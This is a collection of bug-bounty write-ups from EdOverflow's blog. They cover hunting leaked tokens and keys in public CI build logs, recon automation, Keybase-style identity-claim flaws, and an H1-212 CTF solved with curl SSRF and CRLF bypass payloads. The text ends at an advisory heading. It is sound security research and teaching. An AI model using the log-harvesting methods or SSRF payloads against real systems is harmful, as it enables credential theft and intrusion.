Forem: EdOverflow 🐸

“CI Knew There Would Be Bugs Here” — Exploring Continuous Integration Services as a Bug Bounty Hunter

EdOverflow 🐸 — Fri, 26 Apr 2019 00:00:00 +0000

When it comes to bug bounty hunting and finding exciting areas to explore, it is vital to familiarise yourself with the technologies that vendors and companies rely on. One particularly interesting environment that caught our eye was popular integrations used by various open-source projects, primarily as part of their development life cycle. Some prime examples of continuous-integration services (“CI services”) including Travis CI, Circle CI, and GitLab CI turned out to be extremely rewarding for us as bug bounty hunters.

We set out to automate fetching and searching large data sets from these CI services. This technical write-up will touch on the numerous challenges we faced, how we reduced the number of false-positives in our searches, notable findings, and finally, list some tricks we picked up along the way.

The team that worked on this research includes Justin Gardner (@Rhynorater), Corben Leo (@hacker_), and EdOverflow (@EdOverflow) — with some testing and helpful suggestions by Karim Rahal (@KarimPwnz), @streaak, @d0nutptr, and BBAC.

Introduction to continuous-integration services

Continuous integration (CI) is the practice of committing code-changes and automatically building and testing every change. Nowadays, it is rare not to stumble across an open-source project that does not use a continuous-integration service at some point in the development cycle. The various services out there offer straightforward set-up configuration steps and beautiful interfaces for quickly testing and building code continuously.

/r/dataisugly/ candidate right here.

The security.txt project, for instance, uses Travis CI to build new draft documents whenever a commit is pushed. This allows the team to quickly determine if any further changes to the specification could potentially break the Internet Draft when compiled using kramdown-rfc2629 — a tool that enables one to write everything in Markdown and then convert it to XML2RFC XML markup.

What went through our heads

Something that readers have requested in the past is to have a designated section on how the authors came up with research topics such as the type of work we are presenting here. This section will hopefully illustrate where the idea stems from initially.

All the authors of this write-up have lots of experience working on open-source projects on GitHub and have, over the years, learned techniques that simplify the development process for open-source project maintainers. GitHub offers lots of integrations at https://github.com/marketplace, where one particular category stands out: “Continuous integration”. This is where we discovered that due to the way lots of open-source teams strive for complete transparency and openness in the development process, projects were hesitant to hide build log data on continuous-integration platforms. Admittedly, integrations such as Travis CI do offer private profiles as a premium feature on travis-ci.com, but during our research, the vast majority of projects appeared to only use the public instance travis-ci.org — note the “.org” top-level domain.

It is worth noting that continuous-integration services have already been targeted in the past for sensitive information by bug bounty hunters and third-parties as seen in “A HackerOne employee’s GitHub personal access token exposed in Travis CI build logs” and the “API under attack” Travis CI incident report:

“We are currently undergoing a distributed attack on our public API that we believe is aimed at revealing GitHub authentication tokens. Countermeasures are holding, and we will update accordingly.”

— Travis CI (Sep. 2015)

So much so that platforms such as Travis CI introduced built-in secrets detection to prevent accidental exposure of sensitive information as seen below. [1]

Travis CI replaces potentially sensitive information with the [secure] keyword at runtime.

To prevent leaks made by these components, we automatically filter secure environment variables and tokens that are longer than three characters at runtime, effectively removing them from the build log, displaying the string [secure] instead.

Automating the boring tasks

Approaching a large attack surface manually, such as the one Travis CI presents, would be an incredibly tedious task. Therefore, we had to work with the available API documentation these CI vendors provide and develop tooling to automate fetching build logs rapidly.

To better illustrate the process of going from a bug bounty program to an extensive data set for further investigation, we will use Travis CI’s API documentation as an example.

The initial phase of our process was to fetch bug bounty programs’ GitHub organisations. There were multiple ways of going about doing this, but for the best results, a simple Google search for “company name” and “GitHub” would do the job. Next, we had to check if the GitHub handle was on Travis CI. To make this process smoother, we used a browser bookmarklet that would redirect us from GitHub to Travis CI using the GitHub handle.

javascript:window.location="https://travis-ci.org"+window.location.pathname;

The bookmarklet would redirect from the GitHub page to Travis CI.

If the target was present on GitHub, we hit the projects API endpoint on Travis CI and retrieve a list of all projects.

https://api.travis-ci.org/owner/%s/repos?limit=100&offset=%d

Travis CI’s API is case sensitive; fortunately, the bookmarklet ensures that you are using the correct handle when issuing API requests. To gather the contents of build logs, we need to hit the build IDs API endpoint and then /log.txt.

https://api.travis-ci.org/repo/%s/builds?limit=100&offset=%d
https://api.travis-ci.org/job/%d/log.txt

Now that the contents of all the build logs belonging to the target are stored locally, we can start grepping. Due to the size of the data we were analysing, we resorted to ripgrep when sieving through the logs locally.

$ rg -ia "$1" -j 12 --no-filename --no-line-number --pretty

Besides bug bounty program’s GitHub accounts, the authors also gathered build logs belonging to all members of the GitHub organisation. It turns out that some members were running builds on their account not realising that their secrets were being exposed in the build logs.

#!/bin/bash

users=$(curl -s -H "application/vnd.github.hellcat-preview+json" -H "Authorization: token $GH_TOKEN" https://api.github.com/orgs/"$1"/members | jq -r .[].login);

while read -r hehe; do 
    secretz -t "$hehe"; 
done <<< "$users"

The team behind this project has decided to refrain from publishing any of the tools built to fetch build logs since we do not want to be directly responsible for any disruptions to CI platforms’ performance. This write-up will inevitably draw more attention to the large attack surface some CI platforms present; therefore, the authors would like to remind the reader, when using the platform’s API, to please take care in not inundating every endpoint with lots of requests at once. We were very cautious not to take down any services during the entire process and would advise others to follow suit.

Results and notable findings

Overall, the most impactful findings were predominately GitHub access token leaks. In this section, we will cover four notable reports that our team submitted.

While grepping through the Travis CI build logs of a employee’s account on a public progran, we discovered a GitHub access token with read and write access to the GitHub organisation. This token would have allowed us to push code to any of the repositories listed under the GitHub organisation. The program awarded us their highest payout to date according to their HackerOne “Program Statistics”.

To expand our scope, we considered multiple platforms. In a private Bugcrowd program’s Travis CI build log from 2013, we found a GitHub access token and were awarded a P1-severity payout — the highest possible severity score on Bugcrowd. [2]

The most surprising response from all the vendors that we reported findings to was Discourse’s bug bounty program. Karim Rahal discovered an employee’s GitHub access token with read and write access to all public repositories under the Discourse GitHub organisation. To demonstrate the potential impact of this issue, we pushed a harmless file to one of the organisation’s least active repositories to not draw too much attention. The file was subsequently removed from the repository.

Discourse awarded Karim the lowest possible bounty of $128. We requested further clarification as to how the team determined the bounty amount, but we have yet to hear back from the Discourse team — that is 60 days without a response. [3]

Another critical bug was discovered on a public cryptocurrency program on HackerOne. This program was using secret variables within Travis CI to create an SSH key. The details for this configuration can be found here and here. After digging through thousands of logs, the following line was detected by a tool Justin Gardner wrote:

-----BEGIN RSA PRIVATE KEY-----

A developer had added cat deploy_key in their CI configuration file which outputted the SSH key in the log. With the SSH key, an attacker could have logged into several deployment servers in the program’s infrastructure. A bounty of $1000 was awarded because the servers were non-production.

Tips and tricks

Usually, a simple grep for export statements in the build logs would be a good starting point. The export command is used for setting environment variables in the log prompt and therefore can expose sensitive information.

$ rg -ia "export " -j 12 --no-filename --no-line-number --pretty

Of course one should not restrict themselves solely to variables set using the export command; refining search terms to “token”, “key”, “password”, and “secret” can help uncover specific leaks. To reduce the number of false positives, we recommend appending = and : to your search terms.

We encourage readers to create a list of all variables with the [secure] keyword and then search using those variable names in all projects. This will help you find unsecured instances of sensitive data using common variable naming conventions. Karim Rahal gathered [secure] variables from 5,302,677 build logs, the 50 most common of which can be seen below.

Full list can be found here.

In addition, setting up continuous monitoring of your favourite bug bounty program’s CI builds, and running your tooling every time the team pushes a new commit to GitHub is a great way to catch exposed secrets in real time before the team has time to act.

Do not restrict yourself to keys and tokens; CI platforms are a great source of information for reconnaissance too. Sieve through the logs to find hidden endpoints and URLs belonging to the target.

Check for CI config files on GitHub to determine what CI integration your target is using. There may be other CI platforms out there that were not covered in this write-up where secrets are exposed.

A fun task that we included in our grep process was to find strings and errors messages commonly associated with missing or broken dependencies. With missing npm packages, this can sometimes lead to code execution by claiming the package name on a remote registry as demonstrated in https://hackerone.com/reports/399166. Some example error messages include:

“is not in the npm registry.” (npm)
“No matching distribution” (PyPI)
“Could not find a valid gem” (RubyGems)

Conclusion and further research

This research has helped us get a better understanding of the large attack surface that continuous-integration services present — almost hidden in plain sight — and has turned out to be extremely fruitful when bug bounty hunting.

Since a reasonably limited amount of platforms were included in this research, future studies and projects could consider covering further CI platforms and integrations.

We applaud platforms such as Travis CI that allow users to hide sensitive environment variables in their logs. In our view, this is a step in the right direction to preventing the type of security leaks that we encountered.

Not only has this work provided us with lots of successful bug bounty stories and valid findings, but it has also shown that collaboration, as seen here with this project, can go a long way while bug bounty hunting. ■

If you enjoy reading my write-ups and would like to support my work,
please check out my "Buy me a coffee" page.

[

Buy me a coffee

](https://www.buymeacoffee.com/edoverflow)

The poor man’s bug bounty monitoring setup

EdOverflow 🐸 — Sun, 15 Jul 2018 00:00:00 +0000

Fishing station on the shores of the Black Sea by Jules Laurens

I must confess, I have been holding on to a small trick that could allow anybody — even those of you that are not into developing and maintaining software — to set up a monitoring system in mere minutes. The reason why I call it the poor man’s monitoring setup is simply to indicate that this setup is not extremely sophisticated, but it does its job beautifully.

When bug bounty hunters monitor targets, they want to receive indications that something new has appeared or that there is a new instance. This is done so that one can immediately jump onto interesting targets and components, which is particularly useful on competitive bug bounty programmes.

The main part of this setup relies on Git. We want to be able to store results from our reconnaissance tools — such as subdomain-bruteforcing scripts — and be able to quickly see changes. We also need a place to store the output remotely. For this particular example, I will be using private GitHub repositories. Students can get free private repositories on GitHub if you apply here: https://education.github.com/pack. Please keep in mind, that there are plenty of alternatives out there, I am just sticking to GitHub for this write-up.

Once you have your private repository set up, make sure to store all output from your tools that you want to monitor inside of the local Git folder. When done running your tools, your monitoring script should attempt to git commit the output. The clever thing here is that Git will not commit unmodified files, meaning you will only be able to git commit files that include newly discovered endpoints. git push your files to the private GitHub and include a nice commit message, because this will become useful later.

Now that everything is being pushed to GitHub, we want to have a way to be notified about new commits. It turns out, GitHub has a nifty little feature which allows you to send emails to an address whenever there is a new commit on the master branch.

1) Navigate to https://github.com/YOUR\_USERNAME/REPO/settings/installations;

2) Under the “Add service” dropdown, look for “email”;

3) Add your email address in the “Address” field.

Finally, run the your tools with the Git commit process as a cron job. I wrote the whole thing in a few lines of Bash.

$ crontab -l
# Edit this file to introduce tasks to be run by cron.
...

0 * * * * /usr/local/bin/scan example.com

You are now ready to go. Sit back and relax. GitHub will now notify you whenever any changes were made via email with a nice diff of the files. So you can be sat in a Caffè somewhere and know straight away when a new endpoint was discovered on your favourite bug bounty target.

On a side note, I just want to add, please do not perform over-the-top type of scanning when monitoring. Keep things light-weight and prioritise targets.

Automating your reconnaissance workflow with meg

EdOverflow 🐸 — Fri, 13 Apr 2018 18:45:43 +0000

For the past few months, I have been playing around with a tool developed by Tom Hudson called 'meg' and I have fallen in love with this tool. meg is a lightweight URL fetcher that stores the output in organised directories and files. This tool has become the quintessential element in my reconnaissance workflow and has been incorporated into many of my personal tools.

Tom comes from a developing background and therefore understands full well the issue with mass-scanning. This is why meg was designed with the primary focus of not being resource intensive. By default, the tool behaves like a normal user browsing the web and is less likely to take down a service as a result.

The Basics

In bare essence, all it takes to run meg is to specify an endpoint and then a host.

$ meg <endpoint> <host>
$ meg / https://edoverflow.com

The latter command requests the top-level directory for https://edoverflow.com (https://edoverflow.com/). It is important to note, that protocols most be specified; meg does not automatically prefix hosts. If you happen to have a list of targets without protocols, make sure to sed the file and add the correct protocol.

$ sed 's#^#http://#g' list-of-hosts > output

By default meg stores all output in an out/ directory, but if you would like to include a dedicated output directory, all it takes is appending the output directory to your command as follows:

$ meg / https://edoverflow.com out-edoverflow/

Discovering Interesting Files On The Web

Say we want to pinpoint specific files that could either assist us further while targeting a platform or be an actual security issue in itself if exposed to the public, all it takes is a list of endpoints (lists/php) and a series of targets (targets-all). For this process, storing all pages that return a "200 OK" status code will help us sieve out most of the noise and false-positives (-s 200).

$ meg -s 200 \
  lists/php targets-all \
  out-php/ 2> /dev/null

Once the command above has finished running, all it takes is navigating through the out-php/ directory to find saved responses. You can start by manually grepping for specific strings — make sure to automate part of this process in Bash with grep and arrays — or you can use a neat little trick that Tom showed me.

$ cat ~/bin/vimprev 
#!/bin/bash
VIMENV=prev vim $@

You guessed it — vim preview windows! For each file in the output directory, we can preview it inside of vim. All the "exiting vim" jokes aside, this is a brilliant idea and I cannot thank Tom enough for it.

$ cat /path/to/vimrc
if $VIMENV == 'prev'
 noremap <Space> :n<CR>
 noremap <Backspace> :N<CR>
endif
$ export PATH=$PATH:~/bin
$ cd out/
$ vimprev $(find . -type f)

The vimrc trick allows you to use the spacebar to move to the next file and the backspace key to the previous one. Hold that spacebar down and go wild! Interesting-looking files should jump out fairly quickly.

Live Preview

If you want a live preview of saved files in the output directory, all you need to do is follow the index file in the output directory the same way you might follow your logs on a web server.

$ cd out/
$ tail -f index
out/example.com/2d676fb9c99611db7e6cb75ffa1b137673f4ca04 http://example.com/.well-known/security.txt (200 OK)

Time To Experiment

I am going to cut this write-up short and encourage readers to watch Tom's talk "Passive-ish Recon Techniques". All the techniques described in this talk can be automated using meg and as Tom demonstrates they can be extremely rewarding.

An analysis of logic flaws in web-of-trust services

EdOverflow 🐸 — Wed, 14 Mar 2018 17:31:43 +0000

Abstract

Web-of-trust services (WOT) such as Keybase, Onename, and Blockstack promise to verify individuals' identities on the web. Since many applications on the web are not consistent this often leads to unintended behaviour and therefore security vulnerabilities in web-of-trust services. This write-up analyses three attack vectors that I stumbled across while conducting research on the security of WOT services.

The Technology Behind WOT Services

WOT services allow users to create tokens and place them on their personal pages (e.g. GitHub profile). The service will then look for the token using a scraper and if the token is valid, display that the user does in fact own that external page. The idea behind this method is so that users can display what pages on the web belong to them and then tie their WOT account to all of those external services. On top of that, since the verification tokens need to be publicly accessible, other users can verify that the proof is legitimate by visiting the page containing the token.

*User [TomNomNom](https://keybase.io/tomnomnom) cryptographically verifying their online identity on Keybase.*

Attack Vector One — Distribution Of Content On Timelines

On the web a lot of profile-based applications allow redistribution of content by sharing someone else's entry on your personal timeline — on Twitter users can retweet content and on GitHub people can fork projects. Since some WOT services use a public entry or post to verify the user's identity, I asked myself whether it would be possible to claim ownership of someone else's account by having them share a token that was posted onto an attacker's timeline. One particular service stood out for me, GitHub, where WOT applications such as Keybase require users to place the verification token into a GitHub gist file. The interesting behaviour that I noticed with GitHub is that when a user forks a gist, the gist is not only displayed on the user's timeline, it replaces the original author's username with the sharer's username.

*A forked GitHub gist — the original author is EdOverflow and the gist was forked by bayotop.*

One vulnerable service was Keybase, where if an attacker could convince a victim to fork their GitHub gist, the attacker would be able to claim ownership of the victim's GitHub username. On top of that, Keybase allowed modification of the verification snippet, allowing an attacker to hide the token in an HTML comment.

An example attack using this technique against Keybase could have unfolded as follows:

The attacker requests a verification token from Keybase for the victim's GitHub username;
Keybase prompts the attacker to place the verification token in a keybase.md gist;
The attacker creates a keybase.md gist hiding the verification token in an HTML comment;
The victim forks the attacker's GitHub gist;
The attacker instructs Keybase to verify /victim/keybase.md.

As a result, the attacker's Keybase account states that they own the victim's account. To make matters worse, Keybase has a browser extension that allows users to browse to certain applications (e.g. GitHub, Twitter, Hacker News, etc.) and message the user on Keybase via the profile page — the extension adds a little messaging window on the user's profile. Messages are sent to the account on Keybase that has verified ownership of the account. This means the extension will trick the user into thinking they are messaging the intended recipient, but all messages land in the attacker's inbox since they control the victim's username.

*Hijacked GitHub username (@jackds1986) viewed in the Keybase browser extension. All messages are sent to a user called "totallynotjackds" on Keybase.*

Blockstack and fireblock.io were also vulnerable to this attack vector. In most cases, the fix consisted of simply verifying whether the GitHub gist was a fork using GitHub's gist API.

Attack Vector Two — Namespace attacks

Some WoT services require placing the verification token in a specific filename. Keybase, for example, as mentioned in the previous section, require GitHub verification tokens to be placed in GitHub gists called keybase.md. On web assets, Keybase require the file to be named keybase.txt and either placed under the top-level directory or the .well-known path. The reason behind the .well-known proposal in RFC5785, is to prevent filename collisions and clogging up the root directory. The former is particularly interesting when it comes to WOT services since if an attacker can control the filename on a website, they could potentially claim ownership of the domain. One such case happened with liberapay.com and Keybase. Liberapay, an open-source donation platform, did not restrict username's containing dots in them; therefore one could create usernames containing file extensions. This became apparent to me when I set up a profile page for the security.txt project (https://liberapay.com/security.txt). I created a user called keybase.txt and embedded the Keybase verification snippet in the profile's description. This allowed me to claim ownership of liberapay.com. Keybase did not verify the content type of the keybase.txt file and did not even ensure that the token is not embedded into a page.

*Claiming ownership of liberapay.com by creating a user called "keybase.txt" and embedding the verification snippet into the profile's description.*

Attack Vector Three — Redirects

After claiming ownership of liberapay*.com* I noticed that liberapay*.org* redirects to liberapay*.com. This next attack consisted of using a verification token generated for liberapay.org* embedded on liberapay*.com* to claim ownership of liberapay*.org. Keybase's scraper would blindly follow the redirect and not validate the final endpoint to make sure it matches the target host. Keybase would request liberapay.org/keybase.txt which redirects to liberapay.com*/keybase.txt where a valid keybase.txt file is located.

*Claiming ownership of liberapay.org via liberapay.com's keybase.txt file.*

One particular plausible attack scenario that I could come up with was claiming branded URL-shorteners using this technique.

Conclusion

All services affected by these attack vectors were notified and promptly resolved most of the reported issues. Keybase remain vulnerable to attack vectors 2 and 3 — as far as I can tell they do not plan on resolving those issues. I was thoroughly impressed by the response times of all the affected parties and I look forward to working with them again in the future. As a result of this research, I have become addicted to finding logic flaws.

Operation FGTNY 🗽 - Solving the H1-212 CTF.

EdOverflow 🐸 — Sun, 19 Nov 2017 00:00:00 +0000

Preliminary

Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.

This engineer had set up a server and claimed that nobody could hack their way into it.

Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).

Queue dramatic music.

Step 1 - The Classic Jobert Challenge

Going into this CTF I knew that Jobert would use the same little trick again as in his previous CTF. Always read the challenge description very carefully and look for keywords. “acme.org”, “Apache” and “admin panel” stood out for me immediately. During my reconnaissance process which did not require any brute forcing as HackerOne had made very clear, I used Jobert Abma’s virtual host discovery tool. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP 104.236.20.43 in our /etc/hosts file.

$ cat h1-212 
apache.%s
admin.%s
engineer.%s
hackerone.%s
$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212 
...
Found: admin.acme.org (200)
  date:
    Sun, 19 Nov 2017 12:00:05 GMT
  server:
    Apache/2.4.18 (Ubuntu)
  set-cookie:
    admin=no # 😱
  content-type:
    text/html; charset=UTF-8
...
$ sudo sh -c "echo '104.236.20.43 admin.acme.org' >> /etc/hosts"

I noticed from other participants’ comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the “Apache” aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯_(ツ)_/¯

Step 2 - Teapot 🍵

Next I ran dirsearch with a lightweight wordlist against admin.acme.org. The tool discovered an index.php file and a login path underneath (index.php/login). Immededly one thing stood out to me, the admin cookie was set to no. When modifying that value to yes and changing the request method to POST, a 406 Not Acceptable status code was returned.

Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let’s just say I used a highly advanced Google Dork (site:hackerone.com 406 Not Acceptable) in order to find this report, which indicated that the request had to be in JSON (Content-Type: application/json). You didn’t hear me say any of that.

So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

Maybe it makes sense to the reader now why Ben was teasing us.

Step 3 - Server-Side Request Forgery

Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value ({"domain":"hackerone.com"}).

This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.

Step 4 - Part 1 - Initial Ideas 💡

The errors that I was receiving when specifying a hostname in {"domain":""} indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the {"error":{"domain":"incorrect value, .com domain expected"}} error message, and map it to a loopback address.

Intermission - Bedtime 🛏

It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert’s laugh echoed in the background as every step I took looped before my eyes.

This is totally @jobertabma and @NahamSec watching the #h1212ctf action unfold. I think they’re enjoying this too much lol.

— Luke Tucker (@luketucker) November 13, 2017

Step 4 - Part 2 - The Bypass

After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai’s research. “There has to be some way to bypass the filter with an @ character.”, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., 212.hackerone.com@127.0.0.1). Since the suffix did not end with a .com the “.com domain expected” error was returned. #, ?, and & characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: localhost@212.hackerone.com. By sending a request containing this payload the server would respond with a read.php identifier which contained base64-encoded data of the content from the page being retrieved.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost@212.hackerone.com\"}'

{"next":"\/read.php?id=1"}

$ curl 'http://admin.acme.org/read.php?id=1' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":""} # Blank, because the file being requested is empty.

Step 5 - Port Scanning

This step required two little bash scripts, one to request each individual port and another to retrieve the ID's contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh.

Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337@212.hackerone.com\"}'

{"next":"\/read.php?id=2"}

$ curl 'http://admin.acme.org/read.php?id=2' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}

$ echo 'SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K' | base64 --decode

Hmm, where would it be?

Please note that I only required two IDs for this and the image below is photoshopped.

Step 6 - Massive Frustration and CRLF

What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.

I had a feeling that the flag would be located at /flag, because earlier I had come across this little gem while playing around with the IP.

This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:

At first I thought playing around with different encodings of # would help make everything after /flag useless; i.e., the request would retrieve /flag and not /flag@212.... Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.

That image was just stuck in my head. “What has Jobert done here to make things as difficult as possible for me?”, I was asking myself. Time and time again I failed. That was until yappare, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. “CR”, they said. “CR?”, I thought to myself, “What is CR?”.

Disc scratch ... CRLF!

So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid read.php ID and requested the flag filename.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337/flag\\n\\r\\n\\r212.hackerone.com\"}'

Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.

Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID ( i ), we must deduct 2 to be able to retrieve the base64-encoded flag ( f ). For instance, if we get read.php?=34 we must send a GET request to read.php?=32. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of Jobert's the engineer’s clever little tricks to put the hacker off.

$ curl 'http://admin.acme.org/read.php?id=32' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

$ echo 'RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK' | base64 --decode

FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[Y@nka=<tqhnF<aq=K5:BC@Sb*{[%z"+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

Comparing my solution to those of other competitors

After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.

@TomNomNom
----------------
Payload: localhost:1337/flag\u000a212.something.com
Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.

@Alyssa_Herrera_ & @streaak
---------------------------------
Payload: 212.\nlocalhost:80\n.com & 212\n127.0.0.1\n.com respectively.
Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.

Conclusion - What did I learn?

This CTF really taught me the importance of chaining issues in order to increase the impact. Looking back, any of these steps could have been present in a real-world hacking scenario and had I stopped at any point I would have missed out on a great opportunity and reward.
The challenges also taught me that it never hurts to ask for a little nudge if you are stuck somewhere. This is especially important when it comes to bug bounty hunting. We should be able to figure out most things on our own to some degree, but do not be afraid to ask someone for help when all else fails.
Read everything very carefully. Although I learned this during the last CTF, I was reminded of the importance of taking notes of details again during this CTF.
Remember to take a break once in a while. It is amazing what you can achieve when you get back on track after taking break and getting some rest.
Take notes! That way when you go down the wrong path, you can easily work your way back to where you left off. I went down many paths and every time I would take notes of what my thought process was. This was also especially helpful when writing this document.
This CTF also gave me an opportunity to use my newly acquired skills from Jobert’s previous CTF and put them to the test. This indicates that I am improving and learning as I go along.

References

[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from http://www.usanetwork.com/mrrobot

[2] It’s Always Sunny In Philadelphia. (n.d.). FXX. Retrieved November 19, 2017.

[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to ‘upload’ executables to hackerone.com domain. Retrieved November 19, 2017, from https://hackerone.com/reports/50658

[4] Be More Tea [Photograph]. (2017, November 19). Lipton/Disney.

[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

[6] [Photograph]. (n.d.). HackerOne, Inc.

[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby’s native resolver.

EdOverflow 🐸 — Thu, 09 Nov 2017 00:00:00 +0000

Summary

This is a security advisory for a bug that I discovered in Resolv::getaddresses that enabled me to bypass multiple Server-Side Request Forgery filters. Applications such as GitLab and HackerOne were affected by this bug. The disclosure of all reports referenced in this advisory follow HackerOne’s Vulnerability Disclosure Guidelines.

This bug was assigned CVE-2017-0904.

Vulnerability Details

